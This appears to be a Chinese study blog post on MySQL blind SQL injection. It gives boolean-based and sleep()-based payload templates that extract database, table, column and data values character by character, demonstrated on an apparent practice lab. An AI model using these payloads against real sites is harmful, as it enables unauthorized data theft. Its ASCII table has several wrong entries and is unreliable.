SQL注入学习之MYSQL盲注

概念:

如果每个应用程序都能按照我们输入的 SQL 命令返回我们需要的数据,那应用程序就无安全性可言了!为此,程序设计者们想到一个办法,那就是无论输入何种命令,只要 SQL 语句导致数据库产生错误,那么应用程序就会返回一个“通用的”的页面,或者重定向一个通用页面(可能为网站首页)。这时,回显方式的 SQL 注入办法就无法使用了。盲注,即在 SQL 注入过程中,SQL 语句执行选择后,选择的数据不能回显到前端,需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

盲注分为两类:

一、 基于布尔型 SQL 盲注;

• 基于布尔型 SQL 盲注即在 SQL 注入过程中,应用程序仅仅返回 True(页面)和 False(页面)。

• 无法根据应用程序的返回页面得到需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到需要的信息。

二、 基于时间型 SQL 盲注;注入 SQL 代码之后,存在以下两种情况:

• 如果注入的 SQL 代码不影响后台[数据库]的正常功能执行,那么 Web 应用的页面显示正确(原始页面)。

• 如果注入的 SQL 代码影响后台数据库的正常功能(产生了 SQL 注入),但是此时Web 应用的页面依旧显示正常(原因是 Web 应用程序采取了“重定向”或“屏蔽”措施)。

产生一个疑问:注入的 SQL 代码到底被后台数据库执行了没有?即 Web 应用程序是否存在 SQL 注入?

面对这种情况,之前讲的基于布尔的 SQL 盲注就很难发挥作用了(因为基于布尔的 SQL 盲注的前提是 Web 程序返回的页面存在 true 和 false 两种不同的页面)。这时,一般采用基于 web 应用响应时间上的差异来判断是否存在 SQL 注入,即基于时间型 SQL 盲注。

基于布尔的盲注

在页面中,如果正确执行了SQL语句,则返回一种页面,如果SQL语句执行错误,则执行另一种页面。基于两种页面,来判断SQL语句正确与否,达到获取数据的目的

Payload

网上的payload一般是利用ascii()substr()length()结合进行利用

  • 获取数据库长度

    and (select length(database()))=长度

大于7返回正常

大于7返回正常

大于8返回错误

大于8返回错误

等于8返回正常,说明数据库长度为8

等于8返回正常

  • 逐字猜解数据库名

    and (select ascii(substr(database(),位数,1)))=ascii码

    ASCII对照表

ASCII值控制字符ASCII值控制字符ASCII值控制字符ASCII值控制字符
0NUT32(space)64@96
1SOH33!65A97a
2STX3466B98b
3ETX35#67C99c
4EOT36$68D100d
5ENQ37%69E101e
6ACK38&70F102f
7BEL39,71G103g
8BS40(72H104h
9HT41)73I105i
10LF42*74J106j
11VT43+75K107k
12FF44,76L108l
13CR45-77M109m
14SO46.78N110n
15SI47/79O111o
16DLE48080P112p
17DCI49181Q113q
18DC250282R114r
19DC351383S115s
20DC452484T116t
21NAK53585U117u
22SYN54686V118v
23TB55787W119w
24CAN56888X120x
25EM57989Y121y
26SUB58:90Z122z
27ESC59;91[123{
28FS60<92/124|
29GS61=93]125}
30RS62>94^126`
31US63?95_127DEL

数据库第一位字符ASCII码为114返回错误

数据库第一位字符

数据库第一位字符ASCII码为115返回正确,说明数据库第一位字符为s

数据库第一位字符

数据库第二位字符ASCII码为100返回错误

数据库第二位字符

数据库第二位字符ASCII码为101返回正确,说明数据库第二位字符为e

数据库第二位字符

…..

?id=1' and (select ascii(substr(database(),8,1)))=121 --+

以此类推,最后得到数据库为security

  • 猜解表名数量

and (select count(table_name) from information_schema.tables where table_schema=database())=数量

有4个表

  • 猜解某个表长度

    使用limit偏移,n0开始

and (select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度

第4个表长度为5

第4个表长度为5

  • 逐位猜解表名

and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit n,1)=ascii码

4个表第ascii码116报错

等于116报错

4个表第ascii码117正确,说明第4个表第位为u

等于117正确

….

以此类推,最后得到第4个表表名users

  • 猜解列名数量

and (select count(*) from information_schema.columns where table_schema = database() and table_name = 表名)=数量

users列名数量为3

users表列名数量为3

  • 猜解某个列长度

    使用limit偏移,n0开始

and (select length(column_name) from information_schema.columns where table_name='表名' limit n,1)=长度
  • 逐位猜解列名

and (select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码
  • 判断数据的数量

and (select count(列名) from 表名)=数量
  • 猜解某条数据的长度

and (select length(列名) from admin limit n,1)=长度
  • 逐位猜解数据

and (select ascii(substr(user,位数,1)) from admin limit n,1)=ascii码

基于时间的盲注

布尔盲注是根据页面正常否进行注入,而时间盲注则是通过SQL语句查询的时间来进行注入,一般是在页面无回显,无报错的情况下使用

Payload

网上的payload一般是利用sleep()进行利用

  • 猜解数据库长度

and if((select length(database()))=长度,sleep(6),0)
  • 猜解数据库名

and if((select ascii(substr(database(),位数,1))=ascii码),sleep(6),0)
  • 判断表名的数量

and if((select count(table_name) from information_schema.tables where table_schema=database())=个数,sleep(6),0)
  • 判断某个表名的长度

and if((select length(table_name) from information_schema.tables where table_schema=database() limit n,1)=长度,sleep(6),0)
  • 逐位猜表名

and if((select ascii(substr(table_name,位数,1)) from information_schema.tables where table_schema=database() limit n,1)=ascii码,sleep(6),0)
  • 判断列名数量

and if((select count(column_name) from information_schema.columns where table_name="表名")=个数,sleep(6),0)
  • 判断某个列名的长度

and if((select length(column_name) from information_schema.columns where table_name="表名" limit n,1)=长度,sleep(6),0)
  • 逐位猜列名

and if((select ascii(substr(column_name,位数,1)) from information_schema.columns where table_name="表名" limit n,1)=ascii码,sleep(6),0)
  • 判断数据的数量

and if((select count(列名) from 表名)=个数,sleep(6),0)
  • 判断某个数据的长度

and if((select length(列名) from 表名)=长度,sleep(6),0)
  • 逐位猜数据

and if((select ascii(substr(列名,n,1)) from 表名)=ascii码,sleep(6),0)

本文作者: iceH
本文链接: http://www.secice.cn/p/3f4fbe96
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!